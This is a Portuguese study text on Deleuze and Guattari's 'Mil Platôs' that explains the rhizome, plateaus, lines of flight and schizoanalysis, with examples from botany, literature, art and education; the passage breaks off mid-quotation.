Mil Platôs – Capitalismo e
Esquizofrenia
Deleuze e Guattari
Paula Ignacio
Rizoma
Ecosofia
O conceito botânico de rizoma
exemplifica o conceito aberto que Deleuze e Guattari desenvolveram no livro.
De onde Deleuze e Guattari tiraram a palavra rizoma? Como um caule de planta
pode nos ajudar a pensar o mundo moderno e a educação?
A definição botânica de rizoma:
“Rizoma é a extensão do caule
que une sucessivos brotos.”
A grama é um exemplo bastante
conhecido de planta rizomática , assim como o bambu e a cana-de açúcar.
Grama
Epitáfia (orquídea)
Lírio
Cana-de-açúcar
Para Deleuze, o rizoma é
inter-relação entre os conceitos. O rizoma é o modelo de realização dos
acontecimentos, que tem espaços e tempos livres, onde os acontecimentos são
potencialidades desenvolvidas das relações entre os elementos do principio característico
das multiplicidades.
O Conceito é o objeto de criação do
filósofo. O conceito é múltiplo em sua composição e nas relações de seus
componentes com outros conceitos. Da mesma forma que as raízes de uma gramínea
são ilimitadamente expansíveis, mantendo a potencialidade de uma nova planta em
cada um de seus “nós” (ou pseudobulbos), os conceitos são dotados de expansão ilimitada
e em cada “nó” ou desdobramento conceitual possui a essência do conceito que o
precede, sem – no entanto – ser uma cópia do conceito original.
Esse modelo se assemelha muito ao
padrão geométrico fractal, onde uma estrutura é reaplicável infinitas vezes,
mantendo sempre o seu padrão original, mas formando uma nova estrutura a
partir dali.
Mil Platôs
No livro “Mil Platôs”, Deleuze e
Guattari partem do princípio de que o sujeito e objeto se anulam mutamente. Se
EU crio um conceito de um objeto (ou outrem), eu automaticamente me anulo, pois
o objeto conceituado contém a pontencialidade de me definir como outrem (ou
não-EU). Ou seja: no momento que eu digo que isso é uma mesa, eu determino que
a mesa é não-EU e eu sou não-mesa. Mas não-mesa não contém todos os elementos
que me definem como EU.
Dessa forma, como eles mesmos citam
no texto, existe a procura de chegar não somente ao ponto onde não se diz mais
EU, mas ao ponto onde não tem mais importância dizer ou não dizer EU. Porquê?
Porque EU é limitador, e não pensamos nele como contendo multiplicidade.
“Não somos mais nós mesmos. Cada
um reconhecerá os seus. Fomos aspirados, multiplicados.”
É interessante partir desse
princípio para começar a leitura do livro, onde eles se definem não como apenas
dois, mas cada um deles é vários, “o que já são muitos”. Eles utilizam o
conceito de potência de multiplicação para tudo, e os conteúdos abordados no
livro podem ser multiplicados por vários.
A partir daí, eles vão falar sobre
o que é o livro e o que é a escrita. Não existe uma lógica temporal no texto,
existem intensidades que vão transitar entre diferenças dos elementos contidos
aqui. Existe uma preocupação muito maior com o espaço do que com o tempo.
O Livro
Um Livro não é algo em si, mas um
devir de conceitos. Por isso ele não é limitado a sujeitos, objetos, matérias,
velocidades e datas. Mesmo suas camadas interpretativas e nos assuntos que
trata ele também possibilita que se desconstrua esses mesmos estratos e
territórios, como um rizoma, que aparentemente limitado, mas que na verdade é
um todo fragmentário, um sistema aberto.
Alem disso pode-se dizer que o
Livro é um agenciador de conceitos, uma espécie de organismo, uma
totalidade significante quando agencia os conceitos. O objeto de estudo do
livro não são palavras nem mesmo coisas. Assim como o espaço existente entre
as raízes que compõem o mesmo rizoma.
“Não se perguntará nunca o que
um livro quer dizer, significado ou significante, não se buscará nada
compreender num livro, perguntar-se-á com o que ele funciona em conexão com o
que ele faz ou não, passar intensidades, em que multiplicidades ele se introduz
e metamorfoseia a sua, com que corpos sem órgão (o momento de ruptura, por
exemplo, quando você fala sobre determinado tema, e através de um ponto isolado
desse tema você pode fazer conexões com outros temas).”
Dessa maneira, eles falam que o
livro existe no fora e pelo fora. Mesmo anulando sujeito e objeto, o livro pode
conter intensidades capazes de transitar, e assim como o rizoma, ele tem pontos
de desterritorialização, momentos de ruptura, platôs.
É interessante pensarmos aqui na
semiótica.
A semiótica é o estudo abstrato dos signos e de suas
inter-relações. O estudo da relações entre os símbolos, os signos e os objetos
a que se aplicam.
Em
suma, o ato de escrever, de traduzir conceitos em tinta e papel é maquínico, se
assemelha ao trabalho de um agrimensor (aquele que mede terrenos), que tenta
limitar um determinado terreno sem, contudo, desvendar suas potencialidades. Ele
não analisa as possibilidades de expansão desse terreno, apenas o mede, o
limita.
O
livro em si não é nada, mas uma vez que através dele podemos atribuir infinitas
possibilidades dentro de determinados espaços, ele passa a conter intensidades
capazes de transitar por outros espaços, como uma espécie de partícula que
circula dentro de um organismo.
A
partir do momento em que num determinado ponto de um livro podemos fazer
relações com outros temas ou assuntos e onde é possível multiplicar as
possibilidades dele, este passa a ser um corpo sem órgão, porque existe um
plano de consistência que é o assunto tratado, mas esse tema pode ser
desconstruído quando no ponto de fuga deixamos a raiz principal e nos
conectamos a outros temas, porém também interligados àquele, já que o rizoma
transita por todos os pontos ou pseudo-bulbos. Esse espaço entre um
pseudo-bulbo e outro, ou essa possibilidade de multiplicação é a intensidade a
qual Deleuze chama de Platô.
Por
essa razão, o nome do livro: Mil Platôs, ou seja, infinitas intensidades com
potencialidades de multiplicação.
A
filosofia, em sua essência, comporta essa multiplicação, uma vez que é trans e
interdisciplinar. Existe uma importância fundamental aqui no processo
educativo, uma vez que hoje e cada vez mais existe uma tendência
interdisciplinar.
Que se entende por interdisciplinaridade e transdisciplinaridade?
A educação é a base, o rizoma da trans e interdisciplinaridade.
Todas as nossas relações com o mundo social, natural e cultural acontecem de
formas fragmentadas, de tal modo que cada fenômeno observado ou vivido é
entendido ou percebido como fato isolado, porém interligado e inserido numa
rede de relações que lhes dão sentido e significado.
O
livro, para Deleuze e Guattari, é uma espécie de máquina com potencialidades.
Atribuímos a ela um sentido ou um significado de produzir algo, a partir do
momento em que apertamos o botão para que ela funcione. Existem intensidades
que nos fazem atribuir significados a ela, e transformamos a potência em ato a
partir do momento em que ela passa a significar a produção de algo.
Por
essa razão, ele diz que o processo da escrita é maquínico, no entanto, os
estratos que compõem um livro (que são seus componentes) contém intensidades,
como partículas que circulam dentro de um organismo. Mas a possibilidade de um
processo de desconstrução desse texto cria novas referências, ou novos
agenciamentos, montando uma rede de contatos com outros conceitos.
Percebemos
que quando são criados agenciamentos e redes de contatos com outros conceitos, ele
existe porque existe no fora e pelo fora dele mesmo. O livro em si não é nada.
A
questão maquínica do livro é toda fundamentada em seu plano de consistência.
O plano de consistência é o que dá totalidade para o livro. Apesar de ele ter a
possibilidade de rupturas e multiplicações, ele parte desse plano, que é junção
de agenciamentos. A metáfora do agrimensor (aquele que mede a terra) funciona
novamente aqui. Ele mede, mas não determina a infinidade de potencialidades
contidas nesse mesmo plano de consistência, por isso o livro é maquínico. Ele é
o agrimensor.
Tratando
da natureza dos textos, Deleuze e Guattari definem alguns modelos de livros
ainda dentro do paradigma vegetal.
O livro-raiz,
donde se geram frutos e caminhos literários ditos consistentes, e traz como
referência a literatura clássica. Como exemplos de livros-raiz, temos a Torá
judaica que se metamorfoseia na Bíblia Sagrada Cristã (que por si só gera os
evangelhos e centenas de milhares de obras correlatas).
Ele
ainda vai tratar do problema da língua, que limita de certa forma a
multiplicação de potencialidades, uma vez que ela atua territorialmente (e o
que queremos aqui não é fechar os espaços, mas abri-los) e politicamente, a
língua é mais um exercício de poder político.
“Não
existe uma língua-mãe, mas tomada de poder por uma língua dominante dentro de
uma multiplicidade política”
São
tipos de poder sociais particulares, modelos de agenciamentos. A língua é
limitada porque os modelos de agenciamentos lingüísticos não são abstratos o
suficiente para conectar diversos tipos de intensidades, de cadeias semióticas.
Dessa
forma, ele também fala da modernidade e da literatura moderna, os livros os
quais diz fazerem parte de um “sistema radícula”, onde morre a raiz
principal e onde se reduz as possibilidades de combinações, eles geram
multiplicidade, mas uma multiplicidade limitada, linear, pois participam de um
plano de consistência comum. Por exemplo, os livros que falam sobre a Bíblia.
A
multiplicidade, para ele, não tem sujeito nem objeto. Ela atua como fios de
uma marionete, onde tem menor importância o sujeito que manipula esses fios, do
que a potencialidade de cada fio fazer movimentos distintos que vão dar vida ao
boneco.
Cada
fio contém a potência de movimentos distintos, mas são fios conectados numa
espécie de agenciamento. A intensidade atuante está no sistema aberto, no
espaço existente entre os fios, o que possibilita a movimentação. São os
platôs.
Não
existem os pontos fixos, como as raízes que se fixam no rizoma. São
intensidades infinitas que circulam entre todas elas. O espaço entre uma raiz e
outra.
A
idéia do conceito é uma espécie de metamorfose, que nada tem em comum com a
lógica de sua compreensão. Nem interpretação nem explicação, o conceito só
existe por variação, quer dizer, no fim das contas, é uma criação contínua,
fruto da variação decorrente das intensidades.
Ele
nos dá o exemplo de um pianista do séc. XX, Glenn Gould, que transforma os
pontos musicais em linhas, fazendo proliferar o conjunto das notas, cada vez
que acelerava uma passagem musical.
Deleuze
e Guattari são dois autores que também abordam a possibilidade de troca dos
fundamentos básicos de expressão das artes plásticas e da música. Ou seja, para
eles, a música pode também expressar o espaço e vice-versa.
O
próprio livro Mil Platôs contém essa característica, ele não tem linearidade
temporal, é mais contido no espaço e na capacidade de transitoriedade de
intensidades e agenciamentos no espaço.
Por
exemplo, uma partitura.
Como
se transformássemos cada nota em linhas capazes de transitar por outras, possibilitando
assim novas ressonâncias, que poderiam também ressoar através de outras, a
possibilidade de multiplicação dessas notas, e cada nota poderia também se
multiplicar, infinitamente.
Dessa
forma, deixamos de ter unidades de medida, mas variedades de medida.
“A
noção de unidade aparece unicamente quando se produz numa multiplicidade uma
tomada de poder pelo significante ou um processo correspondente de
subjetivação: é caso da unidade pivô que funda um conjunto de correlações
biunívocas entre elementos ou pontos objetivos, ou do Uno que se divide segundo
uma lei de lógica binária de diferenciação no sujeito.”
A lógica
binária atua nos fractais, por exemplo.
Eu
tenho um ponto. Esse ponto se divide em dois. Então ele passa a ser aquele ponto, mais os dois no qual se dividiu. E os dois elementos da divisão podem se dividir em
outros, então aquele primeiro ponto passa a ser ele, mais os dois elementos,
mais as divisões possíveis nesses dois elementos. Mas o que Deleuze diz aqui é
que esse ponto inicial, para que se torne um ponto fixo, precisa primeiramente
de subjetivação, do sujeito que vai significá-lo, de um plano de
consistência.
Como
o exemplo dado no seminário passado, de um ser que pensa o outro. Primeiramente,
para uma noção de outro, ele cria um conceito, desse conceito ele extrai um
rosto, mas existe um conceito de rosto, e antes do conceito de rosto existe um
conceito de humano, e assim por diante. Ele primeiramente subjetiva a idéia de
outro, é o plano de consistência, a noção de unidade subjetivada.
Vale
lembrar que existem infinitas possibilidades de subjetivação do que é esse
outro, mas através de uma significação dada a ele, parte-se desse mesmo ponto.
Portanto, a unidade opera numa dimensão vazia, uma vez que ela pode dividir-se
e transitar por outras também. No entanto, ela é necessária para o agenciamento
de elementos que poderão compor o conceito de OUTRO.
“As
multiplicidades se definem pelo fora: pela linha abstrata, linha de fuga ou de
desterritorialização segundo a qual elas mudam de natureza ao se conectarem às
outras. O plano de consistência é o fora de todas as multiplicidades”.
Como
no exemplo que ele dá do livro, quando este se torna um corpo sem órgão a
partir do momento em que se estabelece uma linha de fuga, para conectar essa linha
a outras, que contém em si o tema do livro, mas faz conexões com outros temas.
É o platô, a linha de fuga.
O
livro, assim como o rizoma, deveria atuar como um anel aberto, um sistema
aberto, dentro de cada página conter em si múltiplas exterioridades:
acontecimentos vividos, determinações históricas, conceitos pensados,
indivíduos, grupos, etc.
O
ponto de fuga, ou o platô atua quando o rizoma pode ser quebrado
(desterritorializado). “Ele pode ser quebrado em um lugar qualquer, e também
retoma segundo uma ou outra de sua linha ou segundo suas linhas”.
“Todo
rizoma compreende linhas de segmentaridade segundo as quais ele é
estratificado, territorializado, organizado, significado, atribuído, etc.; mas compreende
também linhas de desterritorialização pelas quais ele foge sem parar. Há
ruptura no rizoma cada vez que linhas segmentares explodem numa linha de fuga,
mas a linha de fuga faz parte do rizoma.”
Um
exemplo disso são os conceitos de bom e mau. Mesmo quando se pensa na
contrariedade de um que dá significado ao outro, passamos por multiplicidades e
subjetividades que nos levam ao agenciamento de elementos contidos em cada um
desses conceitos.
Os
platôs atuam como movimentos de desterritorialização, mas também de
reterritorialização, quando saem numa linha de fuga, mas permanecem contendo um
ponto do qual partiram, mesmo que esse ponto nos dê infinitas possibilidades de
fuga.
Questão
importante:
“Como
é possível que os movimentos de desterritorialização e de reterritorialização
estejam em perpétua ramificação, uma vez que também estão presos uns aos outros?”
Eles
dão o exemplo de reprodução de determinados tipos de orquídeas, e diz que a
vespa se desterritorializa transportando o pólen, ela torna-se uma peça do
aparelho de reprodução da orquídea, e as duas fazem rizoma dentro desse
aparelho, dessa heterogeneidade. Ao mesmo tempo que existe a heterogeneidade,
existe a diferença entre elas, não é imitação, mas possibilidades de devires.
“Cada
um desses devires assegura a desterritorialização do outro, os dois devires se
encadeando e se revezando segundo uma circulação de intensidades que empurra a
desterritorialização cada vez mais longe. Não há imitação nem semelhança, mas
explosão de duas séries heterogêneas na linha de fuga composta de um rizoma
comum.”
Se
isso acontece biologicamente, ou seja, dentro da própria natureza, então
podemos pensar nas possibilidades de ramificação e ao mesmo tempo desterritorialização
dentro de conceitos ou idéias já pré-estabelecidas.
Nesse
exemplo da reprodução da orquídea e do rizoma que acontece entre ela e a vespa,
existe a evolução de dois seres que não tem absolutamente nada a ver um com o
outro. Aqui existe a possibilidade de diferentes esquemas de evolução, não
somente através de descendências de uma mesma espécie, mas “um esquema
segundo um rizoma que opera no heterogêneo e salta de uma linha diferenciada à
outra.”
Daí
ele nos dá um exemplo de pesquisa em engenharia genética, onde determinados
tipos de vírus podem aparecer em espécies completamente diferentes, onde a
informação genética própria de um organismo poderia ser transferida ao outro,
graças ao vírus, que o transporta.
“Nossos
vírus nos fazem fazer rizoma com outros animais”.
É
interessante pensarmos aqui no âmbito social, nas possibilidades rizomáticas
que as intensidades circulantes nos proporcionam.
O
rizoma nos possibilita uma série de comunicações transversais, que embaralham
nossas árvores genealógicas. O rizoma é uma antigenealogia.
Da
mesma forma, acontece a “antigenealogia” do livro e do mundo. O livro não é a
imagem do mundo, mas faz rizoma com ele, a partir do momento em que há evolução
de um e de outro, conseqüente das intensidades que circulam por cada um, e dos
pontos que são tratados segundo subjetivações.
Existe
no fora e pelo fora. Assim como as plantas de raízes, que tem sempre um fora
onde elas fazem rizoma com algo, seja com o vento, com animais, e até mesmo com
o homem. Daqui podemos falar um pouco sobre o indivíduo e o social, uma vez que
ele é um agenciamento, mas que também faz rizoma com tudo o que é externo a si.
O interessante aqui é a possibilidade de rompimentos.
O
homem e o social criam determinações e crenças que parecem enraizadas. Deleuze
nos apresenta como a natureza pode nos mostrar as infinitas possibilidades de
rupturas, mesmo que façamos parte de diversos tipos de agenciamentos (cultural,
social, familiar, etc). Através dessas rupturas com o que já foi estabelecido,
podemos ampliar os espaços, ampliar nossos territórios, sem, no entanto,
deixarmos de fazer parte do agenciamento que nos compõe. Podemos ampliar nossas
potencialidades e possibilidades através dos platôs, das linhas de fuga.
Guattari,
antes mesmo deste livro, escreveu juntamente com Deleuze o Anti-Édipo, onde ele
tenta fazer uma ruptura da psicanálise. A psicanálise tem como objeto o
inconsciente, porém cristalizado. O que ele procura nos mostrar é que existe a
possibilidade de estudar o inconsciente sem que o mesmo esteja cristalizado ou
somente conectado à descrições de fatos, mas a possibilidade de exploração de
um inconsciente não-camuflado, puro nele mesmo, sem que seja estudado pela
camuflagem que o recobre, como os recantos da memória ou da linguagem. O que a
psicanálise fez até então foi um decalque do inconsciente. Mas Deleuze e ele
tentam mostrar que é possível fazer um mapa do inconsciente, muito além do
simples decalque.
É
como observar uma cidade inteira do alto de uma montanha, perceber como é a
geologia do lugar, ao invés de adentrar a cidade e medir o território já
estabelecido. Se observar do alto, poderá perceber as potencialidades de
crescimento daquele território, mas se adentrar a cidade, apenas fará um estudo
de pontos daquele determinado lugar, fechando as possibilidades de entrada e
saída. Assim funciona com o inconsciente, que, pelo que foi compreendido aqui,
deve ser estudado enquanto possibilidades, e não se limitar a fatos ou extratos
que o compõem.
O
rizoma é o mapa do lugar. Ele tem entradas múltiplas, o que permite também a sua
expansão. Ao contrário do decalque, que cava sempre no mesmo lugar.
Deleuze
e Guattari chamam isso de esquizoanálise. “Ao contrário da psicanálise, da
competência psicanalítica, que achata cada desejo e enunciado sobre um eixo
genético ou uma estrutura sobrecodificante e que produz ao infinito decalques
dos estágios sobre este eixo(…) a esquizoanálise recusa toda a idéia de
fatalidade decalcada, seja qual for o nome que lhe dê, histórica, econômica,
estrutural, hereditária, etc.”
O
desejo, para a esquizoanálise de Deleuze e Guattari, não é necessariamente
ligado a um eixo genético, nem participa de uma estrutura profunda, ele atua
como uma intensidade que circula entre entradas e saídas de problemas nos quais
vivemos politicamente, e assim o desejo se transforma em pulsão, e pode ser
vivenciado através das escolhas políticas decorrentes de agenciamentos.
Estudar
o inconsciente seria mostrar como ele tenta constituir um rizoma, mas também
com linhas de fuga. Essas linhas de fuga normalmente são obstruídas quando
atentamos apenas para o enraizamento do indivíduo na família, sociedade,
cultura. Ao invés de fechar o sistema, devemos abri-lo e possibilitar infinitas
linhas de fuga.
“Pode
até ser que a psicanálise sirva, não obstante nela, como ponto de apoio. Em
outros casos, ao contrário, nos apoiaremos diretamente sobre uma linha de fuga
que permita explodir os estratos, romper as raízes e operar novas conexões”.
O termo esquizoanálise
vem do germânico skhízein (esquizo) que significa fender, dividido. Análise
fendida, dividida, multiplicada.
Segundo Wikipedia:
“A cada momento,
o ser humano é atravessado por forças externas, que se encontram no campo
sócio-cultural, as quais promovem encontros que ora cristalizam o sujeito nos
seus valores, tornando-o um ser mecânico e
repetitivo, ora os faz produzir e viver de forma criativa e potente na relação
com a vida.
Criada por Gilles Deleuze e Felix Guattari, a Esquizoanálise é uma
concepção da realidade em todas suas superfícies, processos e entes, e também
nas suas individuações inventivas como acontecimentos-devires. Para esta
concepção, a produção e o desejo são imanentes entre si e produtores de toda a
realidade. Consiste em uma ampla leitura da realidade, tanto natural, quanto
social, subjetiva e assim como de uma realidade “outra”, pluripotencial.”
Como percebemos até aqui, a
transdiciplinaridade e a pluripotencialidade nos ajudam a compreender como o
sistema aberto rizomático pode ser atuante em todos os campos até agora
tratados, como por exemplo a sociologia, a psicanálise, a biologia, botânica,
literatura, engenharia genética, etc.
É interessante pensarmos na
pragmática contida aqui. Existem as intensidades que circulam pelos platôs, que
são espaços vazios, e uma vez circulantes elas podem se transformar em
potências e essas potências se transformam em atos, a cada ponto de fuga.
Diante de um enorme leque de possibilidades, a criação seria pragmaticamente o
ponto máximo do esquema rizomático, o momento em que é criado um novo
pseudo-bulbo e que, através dele, também podem ser criados outros. É um
processo contínuo e ininterrupto de criação, da mesma forma que o conceito é o
ponto máximo do ato de criar do filósofo, e a filosofia é a arte de criar
conceitos.
A ciência é uma espécie de
interpretação de regularidades e tentativa de explicar o mundo ordenado, ela
explica apenas uma pequena parcela da realidade, o que falta nela é o devir. A produção de
vida. A produção de realidade metamorfoseante. A mudança. O acontecimento. O
Devir.
Neste sentido, a esquizoanálise se retrata como teoria da multiplicidade e
filosofia da diferença. Uma espécie de empirismo transcedental, onde o devir é
a própria essência da realidade.
Na Monografia apresentada pelos autores Jorge
Bichuetti, Maria de Fátima Oliveira e Margarete Amorim no curso de
especialização em Análise Institucional do Instituto Felix Guattari em Belo Horizonte, eles questionam a produção de conhecimento e a desmistificação de um
não-saber:
“O espaço estriado da produção do conhecimento
científico nega a produção de saber da cultura popular e do que se sabe pela
experiência; nega os outros saberes e classifica de pensamento mágico. O
fabular e o delírio, o folclore e a arte, a cultura popular e o saber inventivo
do que experiencia um corpo são desclassificados, tidos como crendices.
Tudo fora da ciência é magia…
O saber científico se nomeia verdade, lei natural, realidade.”
(…)
“O Processo de institucionalização da ciência, do saber
científico, como verdade única, absoluta, inquestionável, soberana e de
validade universal, afirmou-se definindo todo outro e qualquer
conhecimento como não saber.
O saber, assim, expropriou as pessoas e as comunidades do conhecimento que se
adquire ao longo do tempo nas próprias experiências vitais.
O estatuto de não-saber desqualifica, marginaliza e silencia o saber das
pessoas e dos grupos cujo pensar, sentir e agir não se dá legitimado pelas
regras e procedimentos do saber instituído.
Práticas estas que, se revistas pelo foco dos interesses populares,
revelar-se-iam práticas resistentes, resistência clandestina, de um povo que
perdeu o chão-território e o seu universo de referência de sua própria
história e se viram transformados numa gente sem-voz.
O paradigma científico hegemoniza a produção de verdades numa relação dialética
com o não-saber.
Relação de contradições camufladas….
O saber toma a si como um ideal transcendente da própria existência, harmonioso
e funcional com o não saber, existindo para servir a este; sendo, deste modo,
cuidado e solução. Ele é um ato de cuidar, velar, suprir e prover a
impotência e a ignorância do não-saber. “
No site do Instituto
Hypnos, há uma resenha do livro
Como Me Tornei Estúpido,
de Martin Page
"Porque
no acúmulo de sabedoria, acumula-se tristeza, e quem aumenta a ciência, aumenta
a dor.” (Eclesiastes, 1,18). É esse o mote que Antoine, um erudito cujos
conhecimentos sempre interminados, que vagam da biologia à metafísica, passando
por seus sólidos conhecimentos de… aramaico, arroga para sua nova empreitada:
tornar-se estúpido.
Martin
Page constrói um personagem memorável. Antoine é um curioso, que tem uma
relação visceral com o conhecimento, para além da vida acadêmica regular à
qual, obviamente, não se adapta. Dos inúmeros cursos que começou, só conseguiu
coletar "pedaços de diplomas", tão somente por se interessar por
tantas e distintas coisas.
O
personagem é crítico, ácido e odeia o mundo das burocracias, obrigações
desprazerosas e da ignorância contumaz. Entretanto, descobre-se, por isso
mesmo, doente. Sofre da patologia daqueles que pensam demais e que, como diz
o sábio livro da Sabedoria, têm sua dor de viver aumentada em proporção direta
à sua lucidez. Contudo, a condução de Page não desemboca numa lamentação
dolorosa ou uma depressão que arrasta o leitor. Com o humor sofisticado a que
já aludimos, o autor mostra a decisão de Antoine diante desse quadro
irreparável: abdicar de sua consciência e inteligência e tornar-se
retumbantemente estúpido.
Gabriel Ferreira
Podemos fazer referência desse tipo de
literatura com o axioma rizomático de Deleuze e Guattari, uma vez que o
personagem Antoine procura desconstruir e desterritorializar as práticas do
saber, as metodologias até então conhecidas por ele. É necessário uma certa
loucura e esquizofrenia para desconstruir as metodologias aplicadas até então
aos saberes, para pensar possibilidades novas de saberes possíveis.
Voltemos ao primeiro capítulo de Mil Platôs.
Deleuze e Guattari falam sobre as
possibilidades de fazer rizoma, de agenciamentos, que podem ser feitos mesmo no
oco de um galho de árvore, numa raiz, ou mesmo elementos microscópicos. A
ciência tem a pretensão macrocósmica de esconder as possibilidades
microcósmicas de agenciamentos, quando limita-se a questionar as possibilidades
já dadas, mas não possibilita a “magia” do não-saber.
Eles encontram as origens microcósmicas,
e partem delas para o macrocósmico, e exemplificam isso como um romance do
Kafka, que começa como um “traço intensivo que começa a trabalhar por sua
conta, uma percepção alucinatória, uma sinestesia, uma mutação perversa, um
jogo de imagens se destacam e a hegemonia do significante é então colocada em
questão”. (A Metamorfose – a “baratinha”do Kafka, que começa como um
delírio, uma alucinação, para depois ir se transformando em algo de dimensões
muito maiores do que se poderia imaginar. O próprio título Metamorfose já é
interessante, uma vez que estamos falando de relações de potencialidades que se
metamorfoseiam o tempo todo, é o criar incessante).
“Não devemos mais acreditar em
árvores, em raízes ou radículas, já sofremos muito. Toda cultura arborescente é
fundada sobre elas, da biologia à lingüística. Ao contrário, nada é belo, nada
é amoroso, nada é político a não ser que sejam arbustos subterrâneos e as
raízes aéreas”. No fora e pelo fora.
Da mesma forma, o pensamento não é
arborescente, ele não tem raízes fixas.
Eles utilizam a própria fisiologia e
falam sobre o cérebro e a capacidade dos neurônios de fazerem sinapses, estas
sinapses atuam como fendas que fazem do cérebro uma multiplicidade dentro de um
plano de consistência que banha todo um sistema.
“Muitas pessoas têm uma árvore
plantada na cabeça, mas o próprio cérebro é muito mais uma erva do que uma
árvore”. A erva daninha, por exemplo, pode crescer em qualquer lugar.
“Um platô está sempre no meio, nem início
nem fim. Um rizoma é feito de platôs”. A erva daninha cresce sempre nos platôs,
nos espaços entre as outras plantas.
O rizoma procede por variação, expansão,
conquista de novos territórios.
Dessa forma, os autores citam alguns
desdobramentos de arborescências culturais, onde citam como exemplos oriente e
ocidente.
Desdobramentos culturais de
arborescências
Os autores citam no livro alguns exemplos
de como historicamente o enraizamento pode limitar as potencialidades de
expansão cultural, dentro de determinadas sociedades. Eles citam os continentes
Americano e Europeu, onde os europeus, dentro de sua cultura enraizada criam
principalmente a partir de determinadas raízes, tanto religiosas como de
conquistas territoriais e políticas, e dizem que a América (onde se referem
principalmente aos Estados Unidos), fazem uma espécie de rizoma com outras
culturas, mas ao mesmo tempo criando uma própria, onde o pragmatismo é um ponto
fundamental e poderíamos dizer – porque não – um plano de consistência, e citam
a literatura de autores como Fitzgerald e Henry Miller. Além de Kerouc, e os
beatniks.
“ Eis o principal objetivo da Geração
Beat, grupo de jovens intelectuais americanos que, em meados dos anos 50,
cansados da monotonia da vida ordenada e da idolatria à vida suburbana na
América do pós-guerra, resolveram, regados a jazz, drogas, sexo livre e
pé-na-estrada, fazer sua própria revolução cultural através da literatura.”
Podemos citar alguns exemplos de esquemas
rizomáticos nas artes plásticas também.
Em Belo Horizonte, há dois
artistas (Marcelo Terça-Nada e Brígida Campbell) que se apropriaram do termo:
“Todo espaço mal utilizado será roubado”. Eles fazem arte nas ruas, que
consideram feias e cinzentas, sujas. Quando um espaço é mal utilizado, eles o roubam
e transformam em potencialidade de pensar novamente estes espaços, e também
possibilitam pensar novos espaços a partir da desterritorialização do mesmo.
Podemos também tomar como exemplo os
desenhos de Escher, que utiliza um esquema simétrico para mostrar as infinitas
possibilidades de ocupação e de ampliação dos espaços, percebemos também que
existe de certa forma uma lógica binária em alguns de seus desenhos, por
exemplo:
As figuras desse desenho estão
inter-relacionadas, mas se multiplicam na mesma medida em que se relacionam
umas com as outras.
No livro “Vocabulário de Deleuze”, o
autor François Zourabichvili esquematiza o pensamento dos dois autores da
seguinte maneira:
O pensamento é, portanto, experimentação:
1. Pensar não é representar (na medida em
que representar é subjetivar, e isso não é anulação de sujeito e objeto).
2. Não há começo real senão no meio. (“Um
rizoma não começa nem se conclui, ele se encontra sempre no meio, entre as
coisas, inter-ser, intermezzo.)
3. Se todo encontro é “possível”, no
sentido de que não há razão para desqualificar certos caminhos em detrimento de
outros, podemos pensar que nem todo encontro se dá pela experiência. (Como no
caso da ciência que subjuga a sabedoria popular). “Apesar da aparência e do
discurso de nossos mestres, esse tato para a filosofia é uma aptidão menos
partilhada do que deveria ser” pois sofremos de excesso de consciência e
excesso de domínio que nos limita a um determinado tipo de saber.
Então ele cita o próprio Deleuze, quando
trata da Lógica do Sentido:
“Quando o mundo se abre pululando de
singularidades anônimas e nômades, impessoais, pisamos finalmente o campo do
transcedental.”
O quê ele quer dizer com isso?
Que o indivíduo não é o primeiro na ordem
do sentido, porque essa ordem está constantemente sendo desconstruída.
Desdobramentos na Psicanálise
Voltando ao livro, os autores falam sobre
a Psicanálise. Nela, existe centralização, onde o general central é Freud.
Existe limitação na psicanálise, na medida em que ela “submete o inconsciente
a estruturas arborescentes, a grafismos hierárquicos, a memórias
recaptuladoras, órgãos centrais”.
A esquizoanálise difere da psicanálise,
porque o intuito dela é a produção de inconsciente, e não somente a análise do
mesmo, partindo de raízes.
“Para os enunciados como para os
desejos, a questão não é nunca reduzir o inconsciente, interpretá-lo ou fazê-lo
significar segundo uma árvore. A questão é produzir inconsciente, e, com ele,
novos enunciados, outros desejos: o rizoma é a produção de inconsciente.”
Quando falamos de memória dentro do
conceito de inconsciente, para Deleuze e Guattari, tem mais importância a
memória curta do que a longa.
Na psicofisiologia, existe a distinção de
dois tipos de memória. A memória longa e a curta. A memória curta é de tipo
rizoma, enquanto a longa é arborescente e centralizada.
“A memória curta não é de forma alguma
submetida a uma lei de contigüidade ou de imediaticidade em relação a seu
objeto; vir ou voltar muito tempo depois, mas sempre em condições de descontinuidade,
de ruptura e de multiplicidade. (…) A memória curta compreende o esquecimento
como processo; ela não se confunde com o instante, mas com o rizoma coletivo. A
memória longa (família, raça, sociedade ou civilização) decalca e traduz, mas o
que ela traduz continua a agir nela, à distância, a contratempo,
“intempestivamente”, não instantaneamente.”
Assim como os sistemas arborescentes, ou
raízes culturais atuam em nós como espécies de memórias organizadas.
Um exemplo de memória organizada enraizada
que temos é o teorema da amizade. Se duas pessoas têm um amigo em comum, então
fica pressuposto que esse amigo em comum tem amizade com todos os outros. É o sistema
radícula, que pode conter falsidade.
Assim como o esquema lógico do teorema da
amizade pode ser falso, pois o fato de que há um amigo em comum não
necessariamente implica na amizade desse mesmo com todos os outros, será que
numa situação de guerra é mesmo necessário a ordem de um general para que os
disparos das armas dos soldados sejam efetuados todos ao mesmo tempo? Se
pensarmos numa situação de guerra a-centralizado, onde não existe um general,
poderíamos pensar aqui que todos os soldados fazem rizoma uns com os outros e
com a situação de guerra e os disparos poderiam sim, ser efetuados todos ao
mesmo tempo, uma espécie de caos, mas cada indivíduo tem a possibilidade de
fazer rizoma através desse caos, muito mais do que se receber uma ordem de um
general.
Se excluirmos a centralização, o
enraizamento de N, este será sempre N-1, na medida em que se anula, mas faz
rizoma com outros. O múltiplo se subtrai à influência do Uno.
Dessa forma, pensemos o rizoma da
seguinte maneira, resumida por eles:
“Diferentemente das suas raízes, o
rizoma conecta um ponto qualquer com outro ponto qualquer e cada um de seus
traços não remete necessariamente a traços da mesma natureza; ele põe em jogo
regimes de signos muito diferentes, inclusive estados de não-signos. O rizoma
não se deixa reconduzir nem ao Uno nem ao Múltiplo. Ele não é o Uno que se
torna dois. Ele não é um múltiplo que deriva do Uno, nem a qual ao Uno se
acrescentaria (N+1).
Ele não é feito de unidades, mas de
dimensões, ou antes de direções movediças. Ele não tem começo nem fim, mas
sempre um meio pelo qual ele cresce e transborda. Ele constitui multiplicidades
lineares a N dimensões, sem sujeito nem objeto, exibíveis num plano de
consistência e do qual o Uno é sempre subtraído (N-1).
Uma tal multiplicidade não varia suas
dimensões sem mudar de natureza nela mesma e se metamorfosear. (…) O rizoma
procede por variação, expansão, conquista. (…) ele se refere a um mapa que
